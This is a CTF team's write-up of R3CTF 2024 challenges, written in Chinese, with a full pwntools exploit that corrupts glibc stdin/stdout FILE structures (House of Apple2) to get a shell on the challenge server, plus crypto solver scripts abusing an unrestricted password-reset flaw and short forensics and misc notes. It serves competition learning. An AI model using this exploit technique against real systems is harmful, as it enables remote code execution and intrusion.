本次 R3CTF 2024,我们Polaris战队排名第20。

排名 队伍 总分
11 Ciallo~(∠・ω< )⌒★ 4306
12 Mini-Venom 4060
13 SycLover 4036
14 n3x 3816
15 0xFFF 3601
16 Nepnep 3345
17 thefwncrew 3032
18 Hyperion 2970
19 Arr3stY0u 2952
20 Polaris 2836

PWN

Nullullullllu

在直接给 libc_base 的情况下,一次任意地址写 \x00 。

直接修改 IO_2_1_stdin 的 _IO_buf_base 末尾为 \x00 ,那么 _IO_buf_base 就会指向 IO_2_1_stdin 的 _IO_write_base,接下来就是利用 getchar 函数触发写操作修改 IO_buf_baseIO_2_1_stdout ,再次利用 getchar 函数触发写操作写 apple2 进 stdout ,printf 函数执行时候会触发 appl2 get shell。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = remote('ctf2024-entry.r3kapig.com', 30371)
#p = remote('127.0.0.1', 9999)
elf_patch = './chall'
#p = process(elf_patch)
elf = ELF(elf_patch)
libc = ELF('./libc.so.6')

sla(b'> ', b'1')
rl(b'0x')
libc_base = int(r(12), 16)# + 0x6d80

environ = libc_base + libc.sym['__environ']
system, binsh = get_sb()
stdin = libc_base + libc.sym['_IO_2_1_stdin_']
stdin_IO_buf_base = stdin + 7*8
stdin_old_value = stdin + 0x83
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
stderr = libc_base + libc.sym['_IO_2_1_stderr_']

# step 2 : printf -> stdout -> house of apple2
system, binsh = get_sb()
_IO_wfile_jumps = libc_base + 0x202228

base_addr = stdout

fake_io = b'  sh;\x00\x00\x00' 
fake_io = fake_io.ljust(0x68, b'\x00')
fake_io += p64(system)
fake_io = fake_io.ljust(0x88, b'\x00')
fake_io += p64(base_addr + 0x5000) # _lock
fake_io += p64(0)*2
fake_io += p64(base_addr)
fake_io = fake_io.ljust(0xd8, b'\x00')
fake_io += p64(_IO_wfile_jumps - 0x20)
fake_io = fake_io.ljust(0xe0, b'\x00')
fake_io += p64(base_addr)

sla(b'> ', b'2')
sla(b'Mem: ', hex(stdin_IO_buf_base))

#debug('b *$rebase(0x12c3)')

sa(b'> ', p64(stdin_old_value)*3 + p64(base_addr) + p64(base_addr + len(fake_io) + 1))

sleep(1)
sl(fake_io)

lg('libc_base', libc_base)

inter()
pause()

Forensic

TPA 01

火眼分析一下,发现有嵌套虚拟机

image-20240611165739867

分析一下

image-20240611165756561

image-20240611165802125

image-20240611165807116

去youtube得到mysql的账户密码,直接搜mysql就行了,猜测看数据库

image-20240611165931175

ibd2sql得到原始数据转hex即可

image-20240611170024202

之后aes转一下即可

TPA 02

流量包直接搜password得到第二段flag

image-20240611170304555

第一段flag从安卓手机存储手机短信的地方找

image-20240611170358276

之后找到第一段手机号

image-20240611170638283

Misc

Blizzard CN Restarts

利用shadoweditor

image-20240611170732676

image-20240611170748000

hideAndSeek

Ben is a superpower who loves playing hide and seek. He can teleport to anywhere to no one can find him, but he seems unaware that his ability only works within a certain range

Rules:

The adorable Ben will only appear within the range of (0, -50, 0) to (128, 50, 128).
Ben will every 10 seconds and reappear in a new location after 10 seconds.
A "newtp" has been added for all players to teleport to any coordinates.
Connect info: 34.81.163.238

version 1.19.2

很抽象的mc游戏题 开始确实是用PCL2模拟器进入游戏去玩

image-20240611194137010

看到给了个newtp命令 还查了很多教程去学MC的tp命令是如何使用 但是发现没啥用 在地图里面逛了一会儿

用newtp大概传送了一些坐标 命令格式如下

想传送到的坐标(x, y, z)
newtp x y z

后面直接翻log日志文件 找到flag

image-20240611194432924

读日志可以发现 这个”Ben”的尸体类型应该是村民 并且他的名称就是flag

R3CTF{Jus7_play_m0r3_h1de_2nd_seek_w1th_Ben}

Crypto

r0system

审计代码发现,可以自己注册个账号完成登录

登录之后,在修改密码那里居然可以改所有用户的密码

def R0System(USERNAME): 
    global login_tag,PublicChannels
    option = int(input((b"Hello "+ USERNAME + b",do you need any services? ").decode()))
    if option == 1:
        username     = bytes.fromhex(input(b"Username[HEX]: ".decode())) 
        new_password = bytes.fromhex(input(b"New Password[HEX]: ".decode()))
        tag,msg = USER.reset_password(username,new_password)
        print(msg.decode())

那思路就是改Bob的密码,然后得到Bob的私钥,再求Alice和Bob的会话密钥完成解密

exp.py

class Curve: 
    def __init__(self):
        # Nist p-256
        self.p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
        self.a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
        self.b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
        self.G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 
                  0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
        self.n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551

    def add(self,P, Q):
        if (P == (0, 0)):
            return Q
        elif (Q == (0, 0)):
            return P
        else: 
            x1, y1 = P
            x2, y2 = Q
            if ((x1 == x2) & (y1 == -y2)):
                return ((0, 0))
            else:
                if (P != Q):
                    l = (y2 - y1) * pow(x2 - x1, -1, self.p)
                else:
                    l = (3 * (x1**2) + self.a) * pow(2 * y1, -1, self.p)
            x3 = ((l**2) - x1 - x2) % self.p
            y3 = (l * (x1 - x3) - y1) % self.p
            return x3, y3

    def mul(self, n , P):
        Q = P
        R = (0, 0)
        while (n > 0):
            if (n % 2 == 1):
                R = self.add(R, Q)
            Q = self.add(Q, Q)
            n = n // 2
        return R
    
    
from Crypto.Util.number import long_to_bytes,bytes_to_long,isPrime
from hashlib import md5
from Crypto.Cipher import AES

curve = Curve()
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
# E = EllipticCurve(GF(p),[a,b])
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551

G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
encflag = "e3b70f0fc960e3cc28f5b02667e5483f6dd6cc267435d33cd222071f949da4a9fc383ad4282a28c81c8b106546b0dc5e61b0908f6d0edb07a2072a9f3b3c0a2aa4b990d1a903b33e5921336f68533b7fce5cd401816016e369e6941336dcf441"
tmpA = "ce760c0651d6f4e7466173d5bebe4803af2b0aea75ebb1948785e50fd1c911f18f887c172dd64d979fc501b13c5e76418e24920671610563bb0233fc1cf1a789"
tmpB = "fc7ac593d124c0f5c10ed04623c5d5e80bc4af3215956cba0dcf27d9a6a7e11b4412f38ef83403e9a844e11fbc349b05795808a38cb90b99dbb165c54aa38ba2"

Ax = bytes.fromhex(tmpA)[:32]
Ay = bytes.fromhex(tmpA)[32:]
Bx = bytes.fromhex(tmpB)[:32]
By = bytes.fromhex(tmpB)[32:]
A = (bytes_to_long(Ax),bytes_to_long(Ay))
B = (bytes_to_long(Bx),bytes_to_long(By))

b = 0x4627ff9ebfc02af8e8b2eb2a276ac028d874de10df417221d49d838bc6a5e733
KEY = md5(str(curve.mul(b,A)).encode()).digest()

aes = AES.new(KEY,AES.MODE_ECB)
flag = aes.decrypt(bytes.fromhex(encflag))
print(flag)
# R3CTF{p3rm1$sions_n33d_Att3nt1%n!_NeXt_l3vE1_l1Nk_1s_https://reurl.cc/Vz7GzZ_a702ba611b24}

r1system

上一题做完之后,拿到这题的附件

审计完代码发现,这题和上题区别在于,这题初始化只有Alice一个账号,而且我们居然能注册Bob的账号

注册之后和Alice交换密钥就好了

exp

from Crypto.Util.number import long_to_bytes,bytes_to_long,isPrime
from hashlib import md5
from Crypto.Cipher import AES

encflag = "b421ed525e970681412ade94b2c9eeb5365d0cec75fed997525ce31fe8878dac9f4ea3992a5e54c27acfd81d456cc8ae27ff666c470637067e05d73cd53d2da1"
key = "4b257eda7fda459a7844014378f08b8e"

aes = AES.new(bytes.fromhex(key),AES.MODE_ECB)
flag = aes.decrypt(bytes.fromhex(encflag))
print(flag)
# R3CTF{pRN9_I1k3_qc9_1S_3Z_To_50IVe_38e5d6dd3eaa}